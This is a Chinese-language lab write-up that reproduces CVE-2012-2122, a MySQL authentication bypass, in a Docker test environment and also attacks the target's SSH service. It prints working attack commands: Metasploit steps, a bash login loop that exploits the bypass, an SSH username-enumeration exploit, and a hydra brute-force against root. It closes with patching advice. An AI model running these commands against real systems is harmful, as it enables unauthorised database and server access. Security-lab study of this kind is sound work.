当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
参考链接:
http://www.freebuf.com/vuls/3815.html
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
经过测试,本环境虽然运行在容器内部,但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统,但也不知道是否一定能够成功,欢迎在Issue中提交更多测试结果。
执行如下命令启动测试环境:
docker-compose up -d
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456
漏洞利用:
攻击机:kali-linux-2023.1(IP:192.168.1.10/24)
靶机:Ubuntu(IP:192.168.1.12/24)
先利用nmap扫描端口是否开放,以及版本是否符合漏洞要求
可以看到版本为5.5.23
此时打开msf,依次输入命令:
mfsconsole search cve-2012-2122
use 0 show options
set rhosts 192.168.1.12 run
此时我们只需要输入命令即可连接该数据库
但是该方法有时存在一定缺陷,使用bash命令更为方便
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.50.189 -P3306 ; done
经过多次输入后,就能进入该数据库了
刚才扫描时还有一个ssh端口的开放,利用openssh7.4(基于ssh协议的连接工具),检索之后在openssh7.7版本之前存在用户名枚举漏洞(CVE-2018-15473),该漏洞可以判断某个用户名是否存在于目标主机中。
利用msf进行操作,感觉漏洞实际作用不大,仅供参考
网上已经公开exp,利用CVE-2018-15473-Exploit
python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
能更精确的猜解用户名
既然是SSH端口开放,那我们还需要检测它是否存在弱口令,这里采用hydra对此端口进行爆破
hydra -l root -P /home/shadows/passwd.txt -v -t 10 ssh://192.168.1.12:22
字典的话则采用GitHub开源项目FUZZDicts即可,爆破结果:
在利用(vulhub官方给出的,使用ssh连接远程主机时加上“-o StrictHostKeyChecking=no”的选项,去掉对主机的验证检查)
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.1.12:22
输入密码12345678即可连接
当然你也可以直接利用ssh username@ip连接,输入密码即可
后续操作就不多展示,只为复现漏洞
修复建议:
mysql更新官方补丁,升级
ssh不使用弱口令,密码周期更换